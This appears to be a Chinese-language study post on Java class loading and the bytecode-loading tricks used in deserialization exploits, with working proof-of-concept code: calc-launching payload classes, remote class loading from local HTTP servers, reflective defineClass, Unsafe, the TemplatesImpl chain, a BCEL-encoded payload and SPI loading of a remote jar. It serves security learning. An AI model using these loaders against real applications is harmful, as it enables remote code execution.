关于JAVA中类的动态加载
类加载器有什么用
- 动态加载类:在运行时根据需要加载类,而不是在编译时确定。
- 隔离性:不同的类加载器可以加载同名的类而互不干扰。
- 自定义类加载:可以创建用户自定义的类加载器来加载不同来源的类(例如,网络、数据库)。
package org.example;
import java.io.*;
public class CustomClassLoader extends ClassLoader {
// 指定类文件的目录路径
private String classPath;
public CustomClassLoader(String classPath) {
this.classPath = classPath;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] classData = loadClassData(name);
if (classData == null) {
throw new ClassNotFoundException();
} else {
return defineClass(name, classData, 0, classData.length);
}
}
private byte[] loadClassData(String className) {
String fileName = classPath + className.replace('.', '/') + ".class";
try (InputStream input = new FileInputStream(fileName);
ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
int buffer;
while ((buffer = input.read()) != -1) {
baos.write(buffer);
}
return baos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
public static void main(String[] args) {
try {
// 假设类文件位于这个路径
CustomClassLoader loader = new CustomClassLoader("E:/CTF_java/Yamlpath/target/classes/");
Class<?> clazz = loader.loadClass("org.example.Myclass");
Object instance = clazz.newInstance();
System.out.println("Class loaded: " + instance.getClass().getName());
} catch (Exception e) {
e.printStackTrace();
}
}
}
package org.example;
import java.io.IOException;
public class Myclass {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
大概实现了上诉的功能,我们知道,Myclass本身其实是一个抽象类,是通过 new 这个操作,将其实例化的,类加载器做的便是这个工作。
Myclass myclass = new Myclass();

双亲委派的角度看
引导类加载器(BootstrapClassLoader)
这个加载器底层是c++实现的,属于JVM一部分。
不继承 java.lang.ClassLoader
类,也没有父加载器,主要负责加载核心 java 库(即 JVM 本身),存储在 /jre/lib/rt.jar
目录当中
扩展类加载器(ExtensionClassLoader)
扩展类加载器(ExtensionsClassLoader),由 sun.misc.Launcher$ExtClassLoader
类实现,用来在 /jre/lib/ext
或者 java.ext.dirs
中指明的目录加载 java 的扩展库。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。
App类加载器(AppClassloader)
App类加载器/系统类加载器(AppClassLoader),由 sun.misc.Launcher$AppClassLoader
实现,一般通过通过( java.class.path
或者 Classpath
环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader()
来获取它。
双亲委派机制实现的是首先会用BootstrapClassLoader记载器去加载类,如果没有依次子加载器委派这些请求。

从报错的角度看双亲委派
看一些类的定义,如果我们定义了一个java.lang.string类,但其实这个类在jdk代码,也就是jre/lib/rt.jar实现了,但是我们代码是这样的
package java.lang;
// 双亲委派的错误代码
public class String {
public String toString(){
return "hello";
}
public static void main(String[] args) {
String s = new String();
s.toString();
}
}
就会报错,显示我们没有定义main类,原因是首先它从BootstrapClassLoader加载器加载类,但是发现其实已经实现这个类了,他就会尝试加载,但是在jre/lib/rt.jar里面的string类其实没有实现main类的。所以会产生报错

从正确的角度看双亲委派机制
package org.example;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
User user=new User();
System.out.println(user.getClass().getClassLoader());
System.out.println(user.getClass().getClassLoader().getParent());
System.out.println(user.getClass().getClassLoader().getParent().getParent());
System.out.println(user.toString());
}
}
package org.example;
public class User {
String name;
int age;
@Override
public String toString() {
return "hello";
}
public User(int i, String age) {
this.age = i;
this.name = age;
System.out.println("User构造函数");
}
public User(){
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public int getAge() {
System.out.println("User.getAge");
return age;
}
protected void setAge(int age) {
System.out.println("User.setAge");
this.age = age;
}
}

会发现扩展加载器getParent()是申请不到引导加载器的,因为引导加载器BootstrapClassloader其实不是普通java类对象,它是由底层JVM实现的
动态加载字节码
什么是字节码
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机里面的一串指令,通常存储在.class文件中。
字节码的诞生使其能够跨越平台执行?

类加载的流程是:
ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()
下面介绍一些java反序列化攻击中会用到的,加载字节码的类加载器。
1.用URLClassloader远程加载class文件
URLClassLoader
实际上是我们平时默认使用的 AppClassLoader
的父类,所以,我们解释 URLClassLoader
的工作过程实际上就是在解释默认的 Java
类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path
和 java.class.path
中列举到的基础路径(这些路径是经过处理后的 java.net.URL
类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader
来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是 file
,则使用 FileLoader
来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是 file
,则使用最基础的 Loader
来寻找类。
我们一个个看
file协议
Calc.java:
javac Calc.java然后把class放在E盘的根目录即可
import java.io.IOException;
// URLClassLoader 的 file 协议
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
package org.example;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("file:///E:\\")});
System.out.println(urlClassLoader);
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

http协议
Calc和上面那个一模一样的
package org.example;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("http://127.0.0.1:9999/")});
System.out.println(urlClassLoader);
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

file+jar协议
我们将之前的class打包一下变成一个jar包
jar -cvf Calc.jar Calc.class
接着,我们修改启动器,调用恶意类
package org.example;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});
System.out.println(urlClassLoader);
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

http+jar协议
修改成这样
package org.example;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
System.out.println(urlClassLoader);
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

后面两个配合的协议,有时候可以进行一些限定情况下的绕过
netdoc协议
netdoc协议很多情况下可以当file协议用,在现代java中很少使用这个协议
package org.example;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("netdoc:///E:/")});
System.out.println(urlClassLoader);
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}
2.利用 ClassLoader#defineClass 直接加载字节码
不管是远程加载,还是本地加载class或jar文件,Java都经历的是下面这三个方法的调用

从前面的分析可知:
loadClass()
的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()
方法;findClass()
根据URL指定的方式来加载类的字节码,其中会调用defineClass()
;defineClass
的作用是处理前面传入的字节码,将其处理成真正的 Java 类
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的 ClassLoader#defineClass
是一个 native 方法,逻辑在 JVM 的C语言代码中。
看一下在ClassLoader中的defineClass方法如何实现的

name为类名,b为字节码数组,off为offest偏移量,len为字节码数组的长度
因为系统给defineClass是给了一个保护属性,所以我们外部无法直接访问。因此可以反射来调用defineClass()方法来进行字节码的加载,然后实例化之后即可反弹shell
我们编写如下的代码:
package org.example;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class")); // 字节码的数组
Class c = (Class) method.invoke(classLoader, "Calc", code, 0, code.length);
c.newInstance();
}
}
使用ClassLoader#defineClass
直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);
,这在平常的反射中是无法调用的。
在实际场景中,因为 defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl
的基石。
3.Unsafe 加载字节码
- Unsafe中也存在
defineClass()
方法,本质上也是defineClass
加载字节码的方式。
跟进去看一看 Unsafe
的 defineClass()
方法

这里的 Unsafe
方法,是采用单例模式进行设计的,所以虽然是 public 方法,但无法直接调用,因为我们用反射来调用它。
package org.example;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<Unsafe> unsafeClass = Unsafe.class;
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class,
int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classUnsafe, "Calc", code, 0, code.length, classLoader, null);
calc.newInstance();
}
}
4.TemplatesImpl 加载字节码
可以看到在 TemplatesImpl
类中还有一个内部类 TransletClassLoader
,这个类是继承 ClassLoader
,并且重写了 defineClass
方法。

- 简单来说,这里的
defineClass
由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。
我们从 TransletClassLoader#defineClass()
向前追溯一下调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
追到最前面两个方法 TemplatesImpl#getOutputProperties()
和 TemplatesImpl#newTransformer()
,这两者的作用域是public,可以被外部调用。
我们尝试用 TemplatesImpl#newTransformer()
构造一个简单的 POC
首先先构造字节码,注意,这里的字节码必须继承AbstractTranslet
,因为继承了这一抽象类,所以必须要重写一下里面的方法。
至于为什么字节码必须继承AbstractTranslet
呢:

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
public class Main {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
字节码:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesBytes() throws IOException{
super();
Runtime.getRuntime().exec("Calc");
}
}
这个找类不用管package的,和之前的URLClaassLoader不太一样,自己理解一下
我们这里利用了反射了一些私有属性,命名为 setFieldValue
,根据我们的链子,一个个看。
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
主要是三个私有类的属性
setFieldValue(templates, "_name", "Calc");

显然,_name
不能为 null,我们才能进入链子的下一部分。
链子的下一部分为 defineTransletClasses
,我们跟进去。

_tfactory
需要是一个 TransformerFactoryImpl
对象,因为 TemplatesImpl#defineTransletClasses()
方法里有调用到 _tfactory.getExternalExtensionsMap()
,如果是 null 会出错。
弹计算器成功

5.利用 BCEL ClassLoader 加载字节码
什么是BCEL?
BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类 Repository
和 Utility
来利用: Repository
用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility
用于将原生的字节码转换成BCEL格式的字节码:
我们还是用之前写过的 Calc.java
这个类。
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.rmi.registry.Registry;
public class Main {
public static void main(String[] args) throws Exception {
Class Calc = Class.forName("org.example.Calc");
JavaClass javaClass = Repository.lookupClass(Calc);
String code = Utility.encode(javaClass.getBytes(),true);
System.out.println(code);
}
}
输出得到BECL编码的特殊代码
package org.example;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Main {
public static void main(String[] args) throws Exception {
new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$9b8$b1c$9c$86$EB$v$f4$83$b6$b4$N9$e0$L$b7D$5c$QHU$N$a9$9a$88$9e7$cb$w$dd$e0$d8$91$b3$a9$f2$8f8$e7$C$88$D$3f$80$l$85$98$dd$a6$U$b5$b5$e4$f9x3$ef$cd$8c$7dw$7fs$L$60$P$l$7dxx$eec$j$_$3cl$Y$bf$e9$e2$a5$8f$C$5e$b9x$ed$e2$NC$b1$ad$S$a5$f7$Z$f2$8d$9dS$G$e7$m$3d$93$M$95H$r$f2d$3a$ea$cb$ac$c7$fb1$n$b5$u$V$3c$3e$e5$992$f9$Ct$f4$P5$b1$b5l$Q$ca$Z$l$8dc$Z$k$f0X$b4$Y$bc$b6$88$X$d2$8cZ$eb$d1$90$ff$e4$a1J$c3$cf$9d$c3$99$90c$ad$d2$84$da$ca$5d$cd$c5$f91$l$5bI$da$8e$c1$ef$a6$d3L$c8$peF$94$8c$dc$ae$e1$G$u$c1w$b1$V$e0$z$de$d1lZG$Ex$8fm$86$95$ffh$H$f8$A$9fa$f9$ef$d5$I$b2$dd1O$Ga$a7$3f$94B3T$ff$40$df$a6$89V$p$9a$ec$P$a4$7eL$ea$8d$9d$e8$9f$kZ$df$913I$92$9f$gO$aa$5d$9d$a9d$d0zJ$f8$9a$a5BN$sD$a8$8c$a9$a8$ed$d1$bd$8c$LI$c7$b8$f4$93$cc$93$D3$t$92$5d$a2$y$q$cf$c8$X$9aW$60s$5b$O$c8$W$7f$81$u$93$N$W$f13T$c8$7bX$7e$qs$x$G$d4$ae$91$ab$e5$_$e1$7c$bf$80$f7$a5y$89$e2$dc$e2$r$e2$W$90$b7$8ak$U$Zv$89$98$e6$h$97I$a5J$d1$ef$Je8$94$d7$u$5b$a1$d7E$$r$b1$eaP$a1n$97Z$7b$A$9daTTn$C$A$A").newInstance();
}
}

那么为什么要在前面加上 $$BCEL$$
呢?这里引用一下p神的解释
BCEL 这个包中有个有趣的类
com.sun.org.apache.bcel.internal.util.ClassLoader
,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()
方法。在
ClassLoader#loadClass()
中,其会判断类名是否是$$BCEL$$
开头,如果是的话,将会对这个字符串进行 decode
6.SPI机制远程加载类
什么是SPI机制?
Java SPI(Service Provider Interface)是一种 服务发现机制,用于实现模块化、可插拔式的设计。在 Java 中,它允许程序在运行时动态地加载和调用实现类,而不是在编译时硬编码依赖。这种机制在 JDK 内置库 和 第三方库 中被广泛使用,例如 JDBC 驱动加载、日志框架绑定(如 SLF4J 和 Logback)、序列化机制扩展等。
SPI它允许允许时动态地寻找服务实现。使用SPI机制需要在Java classpath下的META/services/目录里面创建一个以服务命名的接口文件,这个文件的内容就是这个接口的具体实现类。
项目结构主要参考如下:https://github.com/artsploit/yaml-payload

来调试一下
package org.example;
import javax.script.ScriptEngineManager;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class Main {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://127.0.0.1:8888/yaml-payload.jar");
URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{url});
ScriptEngineManager scriptEngineManager = new ScriptEngineManager(urlClassLoader);
}
}
这个函数是关键的函数。获取到类URLCLassloader的类。调用栈:
private void initEngines(final ClassLoader loader) {
Iterator<ScriptEngineFactory> itr = null;
try {
ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(
new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {
@Override
public ServiceLoader<ScriptEngineFactory> run() {
return getServiceLoader(loader);
}
});
itr = sl.iterator();
} catch (ServiceConfigurationError err) {
System.err.println("Can't find ScriptEngineFactory providers: " +
err.getMessage());
if (DEBUG) {
err.printStackTrace();
}
// do not throw any exception here. user may want to
// manage his/her own factories using this manager
// by explicit registratation (by registerXXX) methods.
return;
}
try {
while (itr.hasNext()) {
try {
ScriptEngineFactory fact = itr.next();
engineSpis.add(fact);
} catch (ServiceConfigurationError err) {
System.err.println("ScriptEngineManager providers.next(): "
+ err.getMessage());
if (DEBUG) {
err.printStackTrace();
}
// one factory failed, but check other factories...
continue;
}
}
} catch (ServiceConfigurationError err) {
System.err.println("ScriptEngineManager providers.hasNext(): "
+ err.getMessage());
if (DEBUG) {
err.printStackTrace();
}
// do not throw any exception here. user may want to
// manage his/her own factories using this manager
// by explicit registratation (by registerXXX) methods.
return;
}
}
这里主要的是itr的值 他会使用下面的迭代操作来加载类,hasNextService获取类。
程序会通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()创建对象,并存到缓存和列表里面。
参考:
这里是跟着这个大师傅学的,自己只是做出了一些其他总结:
https://drun1baby.top/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/
https://www.cnblogs.com/erosion2020/p/18571153